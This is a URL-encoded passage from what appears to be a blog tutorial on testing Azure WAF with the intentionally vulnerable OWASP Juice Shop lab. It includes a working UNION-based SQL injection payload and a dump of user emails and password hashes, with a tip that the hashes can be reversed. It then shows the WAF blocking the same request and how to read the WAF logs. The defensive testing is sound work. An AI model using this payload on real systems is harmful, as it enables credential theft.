%22lia-indent-padding-left-60px%22%3Ea.%20URL%20encoded%20SQL%20query%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CPRE%20class%3D%22lia-code-sample%20language-sql%22%3E%3CCODE%3E%2571%2577%2565%2572%2574%2527%2529%2529%2520%2555%254e%2549%254f%254e%2520%2553%2545%254c%2545%2543%2554%2520%2569%2564%252c%2520%2565%256d%2561%2569%256c%252c%2520%2570%2561%2573%2573%2577%256f%2572%2564%252c%2520%2527%2534%2527%252c%2520%2527%2535%2527%252c%2520%2527%2536%2527%252c%2520%2527%2537%2527%252c%2520%2527%2538%2527%252c%2520%2527%2539%2527%2520%2546%2552%254f%254d%2520%2555%2573%2565%2572%2573%252d%252d%20%3C%2FCODE%3E%3C%2FPRE%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-60px%22%3Eb.%20Plain%20text%20SQL%20query%20(for%20reference)%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CPRE%20class%3D%22lia-code-sample%20language-sql%22%3E%3CCODE%3Eqwert'))%20UNION%20SELECT%20id%2C%20email%2C%20password%2C%20'4'%2C%20'5'%2C%20'6'%2C%20'7'%2C%20'8'%2C%20'9'%20FROM%20Users--%20%3C%2FCODE%3E%3C%2FPRE%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CUL%20class%3D%22lia-list-style-type-square%22%3E%0A%3CLI%3E%3CFONT%20size%3D%222%22%3E%3CSTRONG%3ETip%3A%26nbsp%3B%3C%2FSTRONG%3EYou%20can%20also%20append%20the%20plain%20text%20SQL%20query%20to%20the%20request%20URI%2C%20but%20it%20may%20fail%20in%20certain%20conditions%3C%2FFONT%3E%3C%2FLI%3E%0A%3C%2FUL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3COL%20start%3D%2211%22%3E%0A%3CLI%3EAfter%20appending%20the%20encoded%20query%20to%20the%20request%20URI%2C%20as%20value%20to%20the%20to%20the%20query%20parameter%2C%20click%26nbsp%3B%3CSTRONG%3EGo%3C%2FSTRONG%3E%26nbsp%3B%3CSTRONG%3E(or%20Send%20button)%3C%2FSTRONG%3E%3C%2FLI%3E%0A%3C%2FOL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22Mohit_Kumar_0-1609804755202.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F244141iDFE5B6932BE2661E%2Fimage-size%2Flarge%3Fv%3D1.0%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22Mohit_Kumar_0-1609804755202.png%22%20alt%3D%22Mohit_Kumar_0-1609804755202.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3COL%20start%3D%2212%22%3E%0A%3CLI%3EYou%20should%20see%20a%20successful%20response%20from%20the%20OWASP%20Juice%20Shop%20application%20with%20details%20of%20all%20the%20users%20and%20their%20credentials%20disclosed%20by%20the%20web%20application.%26nbsp%3B%20This%20indicates%20that%20our%20SQL%20injection%20attack%20was%20successful%3C%2FLI%3E%0A%3C%2FOL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22Mohit_Kumar_2-1609804823459.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F244143i31E0738E78D9C392%2Fimage-size%2Flarge%3Fv%3D1.0%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22Mohit_Kumar_2-1609804823459.png%22%20alt%3D%22Mohit_Kumar_2-1609804823459.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH5%20id%3D%22toc-hId--1417771107%22%20id%3D%22toc-hId--1417771098%22%3EJSON%20data%20in%20the%20response%20body%3C%2FH5%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CPRE%20class%3D%22lia-code-sample%20language-json%22%3E%3CCODE%3E%7B%22status%22%3A%22success%22%2C%22data%22%3A%5B%7B%22id%22%3A1%2C%22name%22%3A%22admin%40juice-sh.op%22%2C%22description%22%3A%220192023a7bbd73250516f069df18b500%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A2%2C%22name%22%3A%22jim%40juice-sh.op%22%2C%22description%22%3A%22e541ca7ecf72b8d1286474fc613e5e45%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A3%2C%22name%22%3A%22bender%40juice-sh.op%22%2C%22description%22%3A%220c36e517e3fa95aabf1bbffc6744a4ef%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A4%2C%22name%22%3A%22bjoern.kimminich%40gmail.com%22%2C%22description%22%3A%226edd9d726cbdc873c539e41ae8757b8c%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A5%2C%22name%22%3A%22ciso%40juice-sh.op%22%2C%22description%22%3A%22861917d5fa5f1172f931dc700d81a8fb%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A6%2C%22name%22%3A%22support%40juice-sh.op%22%2C%22description%22%3A%22d57386e76107100a7d6c2782978b2e7b%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A7%2C%22name%22%3A%22morty%40juice-sh.op%22%2C%22description%22%3A%22f2f933d0bb0ba057bc8e33b8ebd6d9e8%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A8%2C%22name%22%3A%22mc.safesearch%40juice-sh.op%22%2C%22description%22%3A%22b03f4b0ba8b458fa0acdc02cdb953bc8%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A9%2C%22name%22%3A%22J12934%40juice-sh.op%22%2C%22description%22%3A%223c2abc04e4a6ea8f1327d0aae3714b7d%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A10%2C%22name%22%3A%22wurstbrot%40juice-sh.op%22%2C%22description%22%3A%229ad5b0492bbe528583e128d2a8941de4%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A11%2C%22name%22%3A%22amy%40juice-sh.op%22%2C%22description%22%3A%22030f05e45e30710c3ad3c32f00de0473%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A12%2C%22name%22%3A%22bjoern%40juice-sh.op%22%2C%22description%22%3A%227f311911af16fa8f418dd1a3051d6810%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A13%2C%22name%22%3A%22bjoern%40owasp.org%22%2C%22description%22%3A%229283f1b2e9669749081963be0462e466%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A14%2C%22name%22%3A%22chris.pike%40juice-sh.op%22%2C%22description%22%3A%2210a783b9ed19ea1c67c3a27699f0095b%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A15%2C%22name%22%3A%22accountant%40juice-sh.op%22%2C%22description%22%3A%22963e10f92a70b4b463220cb4c5d636dc%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A16%2C%22name%22%3A%22uvogin%40juice-sh.op%22%2C%22description%22%3A%2205f92148b4b60f7dacd04cceebb8f1af%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A17%2C%22name%22%3A%22demo%22%2C%22description%22%3A%22fe01ce2a7fbac8fafaed7c982a04e229%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A18%2C%22name%22%3A%22john%40juice-sh.op%22%2C%22description%22%3A%2200479e957b6b42c459ee5746478e4d45%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%2C%7B%22id%22%3A19%2C%22name%22%3A%22emma%40juice-sh.op%22%2C%22description%22%3A%22402f1c4a75e316afec5a6ea63147f739%22%2C%22price%22%3A%224%22%2C%22deluxePrice%22%3A%225%22%2C%22image%22%3A%226%22%2C%22createdAt%22%3A%227%22%2C%22updatedAt%22%3A%228%22%2C%22deletedAt%22%3A%229%22%7D%5D%7D%3C%2FCODE%3E%3C%2FPRE%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CUL%20class%3D%22lia-list-style-type-square%22%3E%0A%3CLI%3E%3CFONT%20size%3D%222%22%3E%3CSTRONG%3ETip%3C%2FSTRONG%3E%3A%20%26nbsp%3BData%20in%20the%20%22Description%22%20field%20in%20the%20server%20response%20is%20the%20password%20hash%20of%20the%20users%20which%20can%20be%20reversed%20using%20free%20tools%20available%20on%20the%20internet%3C%2FFONT%3E%3C%2FLI%3E%0A%3C%2FUL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH3%20id%3D%22toc-hId-368677148%22%20id%3D%22toc-hId-368677157%22%3EScenario%202%3A%26nbsp%3B%20Performing%20SQL%20Injection%20when%20going%20to%20the%20OWASP%20Juice%20Shop%20Application%20through%20Azure%20WAF%3C%2FH3%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3EYou%20will%20now%20attempt%20to%20perform%20SQL%20Injection%20with%20the%20same%20query%20when%20going%20to%20the%20OWASP%20Juice%20Shop%20site%20through%20Azure%20WAF.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3COL%3E%0A%3CLI%3EOn%20Kali%20VM%2C%20launch%20a%20new%20instance%20of%20Burp%20Suite%20and%20the%20Firefox%20browser%3C%2FLI%3E%0A%3CLI%3EUsing%20Firefox%2C%20browse%20to%20%3CA%20href%3D%22http%3A%2F%2F%22%20target%3D%22_blank%22%20rel%3D%22noopener%20nofollow%20noreferrer%22%3Ehttp%3A%2F%2Fjuiceshopthruazwaf.com%3C%2FA%3E%20and%20check%20the%20%3CSTRONG%3EProxy%20--%26gt%3B%20HTTP%20history%3C%2FSTRONG%3E%20tab%20for%20the%20request%20and%20response%20data%20for%20this%20website%20in%20Burp%20Suite%3C%2FLI%3E%0A%3C%2FOL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22Mohit_Kumar_0-1609804974511.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F244144i834C8E07CBA7AB6F%2Fimage-size%2Flarge%3Fv%3D1.0%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22Mohit_Kumar_0-1609804974511.png%22%20alt%3D%22Mohit_Kumar_0-1609804974511.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3COL%20start%3D%223%22%3E%0A%3CLI%3ESearch%20for%20%22apple%22%20in%20the%20search%20bar%2C%20find%20the%20request%20to%20the%20vulnerable%20%3CSTRONG%3E%2Frest%2Fproducts%2Fsearch%20%3C%2FSTRONG%3Eendpoint%20and%20send%20it%20to%20the%20Burp%20Repeater%3C%2FLI%3E%0A%3C%2FOL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CFONT%20size%3D%222%22%3E%3CSTRONG%3ESend%20Request%20to%20Burp%20Repeater%3C%2FSTRONG%3E%3C%2FFONT%3E%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22Mohit_Kumar_0-1609805057439.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F244145i2B47FB312848CC0F%2Fimage-size%2Flarge%3Fv%3D1.0%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22Mohit_Kumar_0-1609805057439.png%22%20alt%3D%22Mohit_Kumar_0-1609805057439.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CFONT%20size%3D%222%22%3E%3CSTRONG%3ERequest%20in%20Burp%20Repeater%3C%2FSTRONG%3E%3C%2FFONT%3E%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22Mohit_Kumar_2-1609805081885.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F244147iB3C58AA5E92A2D6E%2Fimage-size%2Flarge%3Fv%3D1.0%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22Mohit_Kumar_2-1609805081885.png%22%20alt%3D%22Mohit_Kumar_2-1609805081885.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%26nbsp%3B%3C%2FP%3E%0A%3COL%20start%3D%224%22%3E%0A%3CLI%3EAppend%20the%20encoded%20SQL%20query%20(from%20Step%2010%20in%20Scenario%201%20above)%20as%20value%20to%20the%20query%20parameter%20in%20the%20Burp%20Repeater%20and%20click%20%3CSTRONG%3EGo%20(or%20Send)%3C%2FSTRONG%3E%3C%2FLI%3E%0A%3C%2FOL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22Mohit_Kumar_3-1609805127593.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F244148i1A13B29B67792A58%2Fimage-size%2Flarge%3Fv%3D1.0%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22Mohit_Kumar_3-1609805127593.png%22%20alt%3D%22Mohit_Kumar_3-1609805127593.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3COL%20start%3D%225%22%3E%0A%3CLI%3EUpon%20examining%20the%20response%2C%20we%20find%20that%20the%20request%20was%20blocked%20by%20Azure%20WAF%20on%20Application%20Gateway%3C%2FLI%3E%0A%3C%2FOL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22Mohit_Kumar_4-1609805146293.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F244149iACCF7C506B1E7679%2Fimage-size%2Flarge%3Fv%3D1.0%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22Mohit_Kumar_4-1609805146293.png%22%20alt%3D%22Mohit_Kumar_4-1609805146293.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH2%20id%3D%22toc-hId-358174044%22%20id%3D%22toc-hId-358174053%22%3EUnderstanding%20What%20Happened%3C%2FH2%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3EUpon%20reviewing%20the%20HTTP%20requests%20and%20responses%20for%20the%20two%20attempts%20to%20perform%20SQL%20Injection%20in%20the%20same%20instance%20of%20the%20Juice%20Shop%20application%2C%20we%20see%20the%20pattern%20as%20shown%20in%20the%20below%20table.%26nbsp%3B%20This%20clearly%20indicates%20that%20the%20potentially%20malicious%20payload%20which%20could%20otherwise%20be%20stored%20in%20the%20application%20is%20not%20allowed%20through%20by%20Azure%20WAF.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CTABLE%20border%3D%221%22%20width%3D%2299.86187845303866%25%22%3E%0A%3CTBODY%3E%0A%3CTR%3E%0A%3CTD%20width%3D%2266.85082872928176%25%22%20height%3D%2230px%22%3E%3CP%3E%3CSTRONG%3ESQL%20Injection%20Route%3C%2FSTRONG%3E%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%2233.011049723756905%25%22%20height%3D%2230px%22%20class%3D%22lia-align-center%22%3E%3CP%3E%3CSTRONG%3ESuccess%3C%2FSTRONG%3E%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%2266.85082872928176%25%22%20height%3D%2230px%22%3E%3CP%3EDirect%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%2233.011049723756905%25%22%20height%3D%2230px%22%20class%3D%22lia-align-center%22%3E%3CP%3EYes%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%2266.85082872928176%25%22%20height%3D%2230px%22%3E%3CP%3EThrough%20WAF%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%2233.011049723756905%25%22%20height%3D%2230px%22%20class%3D%22lia-align-center%22%3E%3CP%3ENo%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3C%2FTBODY%3E%0A%3C%2FTABLE%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3ENow%20let%20us%20use%20the%20%3CA%20title%3D%22Azure%20Monitor%20Workbook%20for%20WAF%22%20href%3D%22https%3A%2F%2FAka.ms%2FAzWAFworkbook%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EAzure%20Monitor%20Workbook%20for%20WAF%3C%2FA%3E%20to%20understand%20how%20the%20WAF%20handled%20traffic%20with%20the%20%3CSTRONG%3ESQL%20Injection%20%3C%2FSTRONG%3Equery.%26nbsp%3B%20This%20workbook%20visualizes%20security%20relevant%20WAF%20events%20across%20several%20filterable%20panels.%26nbsp%3B%20%3CEM%3EIt%20works%20with%20all%20WAF%20types%2C%20including%20Application%20Gateway%2C%20Front%20Door%2C%20and%20CDN%2C%20and%20can%20be%20filtered%20based%20on%20WAF%20type%20or%20a%20specific%20WAF%20instance.%3C%2FEM%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%3CA%20title%3D%22Deploy%20Azure%20Monitor%20Workbook%20for%20WAF%22%20href%3D%22https%3A%2F%2FAka.ms%2FWAFworkbookdeploy%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EClick%20here%3C%2FA%3E%20to%20deploy%20%3CSTRONG%3EAzure%20Monitor%20Workbook%20for%20WAF%3C%2FSTRONG%3E%20to%20your%20subscription%20in%20Azure.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CUL%20class%3D%22lia-list-style-type-square%22%3E%0A%3CLI%3E%3CFONT%20size%3D%222%22%3E%3CSTRONG%3ETip%3C%2FSTRONG%3E%3A%26nbsp%3B%20To%20understand%20what%20is%20happening%20when%20traffic%20with%20SQL%20Injection%20query%20destined%20for%20the%20Juice%20Shop%20application%20goes%20through%20the%20Azure%20WAF%2C%20you%20can%20also%20examine%20the%20log%20entries%20associated%20with%20%3CSTRONG%3EApplicationGatewayFirewallLog%3C%2FSTRONG%3E%20in%20the%20%3CSTRONG%3EAzure%20Monitor%3C%2FSTRONG%3E%3C%2FFONT%3E%3C%2FLI%3E%0A%3C%2FUL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH3%20id%3D%22toc-hId-353572039%22%20id%3D%22toc-hId-353572048%22%3E%3CFONT%20size%3D%223%22%3EReviewing%20WAF%20logs%20in%20the%20Workbook%3C%2FFONT%3E%3C%2FH3%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3COL%3E%0A%3CLI%3EYou%20can%20access%20the%20WAF%20workbook%20by%20going%20into%20the%20Workbook%20blade%20and%20then%20selecting%20the%20WAF%20workbook%20deployed%20for%20this%20testing.%26nbsp%3B%20Once%20in%20the%20workbook%2C%20ensure%20that%20you%20have%20selected%20the%20appropriate%20%3CSTRONG%3ETime%20Range%3C%2FSTRONG%3E%2C%20%3CSTRONG%3EWAF%20Type%20and%20WAF%20Items%3C%2FSTRONG%3E%3C%2FLI%3E%0A%3C%2FOL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22Mohit_Kumar_0-1609805295194.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F244150i21F0E088684C7454%2Fimage-size%2Flarge%3Fv%3D1.0%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22Mohit_Kumar_0-1609805295194.png%22%20alt%3D%22Mohit_Kumar_0-1609805295194.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3COL%20start%3D%222%22%3E%0A%3CLI%3EYou%20should%20also%20ensure%20that%20you%20have%20selected%20the%20correct%20Public%20IP%20address%20for%20your%20attacker%20machine%20(Kali%20VM)%20in%20the%20%3CSTRONG%3ETop%2010%20Attacking%20IP%20Addresses%2C%20filter%20to%20single%20IP%20address%20%3C%2FSTRONG%3Epane%3C%2FLI%3E%0A%3C%2FOL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CUL%20class%3D%22lia-list-style-type-square%22%3E%0A%3CLI%3E%3CFONT%20size%3D%222%22%3E%3CSTRONG%3ETip%3C%2FSTRONG%3E%3A%26nbsp%3B%20If%20you%20are%20using%20the%20Azure%20WAF%20Attack%20Testing%20Lab%20Environment%20Deployment%20Template%20and%20have%20followed%20the%20lab%20setup%20instructions%20then%20the%20client%20IP%20address%20will%20be%20the%20public%20IP%20address%20of%20the%20Azure%20Firewall%20in%20your%20demo%20environment%3C%2FFONT%3E%3C%2FLI%3E%0A%3C%2FUL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22Mohit_Kumar_1-1609897377934.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F244450i211CF3D97BF55518%2Fimage-size%2Flarge%3Fv%3D1.0%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22Mohit_Kumar_1-1609897377934.png%22%20alt%3D%22Mohit_Kumar_1-1609897377934.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3COL%20start%3D%223%22%3E%0A%3CLI%3EAfter%20selecting%20the%20correct%20client%20IP%2C%20we%20scroll%20back%20up%20to%20the%20top%20of%20the%20Workbook%20and%20review%20the%20visualizations%20at%20the%20top%2C%20in%20the%20WAF%20Workbook.%26nbsp%3B%20Below%20are%20the%20sections%20of%20the%20workbook%20we%20will%20be%20using%20as%20numbered%20in%20the%20below%20figure%3C%2FLI%3E%0A%3C%2FOL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-60px%22%3Ea.%20WAF%20actions%20filter%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-60px%22%3Eb.%20Top%2040%20Blocked%20Request%20URI%20addresses%2C%20filter%20to%20single%20URI%20address%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-60px%22%3Ec.%20Top%2050%20event%20trigger%2C%20filter%20by%20rule%20name%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-60px%22%3Ed.%20Message%2C%20full%20details%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-60px%22%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CSPAN%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22Mohit_Kumar_2-1609897428966.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F244451iD3C422533E7D955E%2Fimage-size%2Flarge%3Fv%3D1.0%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22Mohit_Kumar_2-1609897428966.png%22%20alt%3D%22Mohit_Kumar_2-1609897428966.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CFONT%20size%3D%222%22%3E%3CSTRONG%3ENote%3C%2FSTRONG%3E%3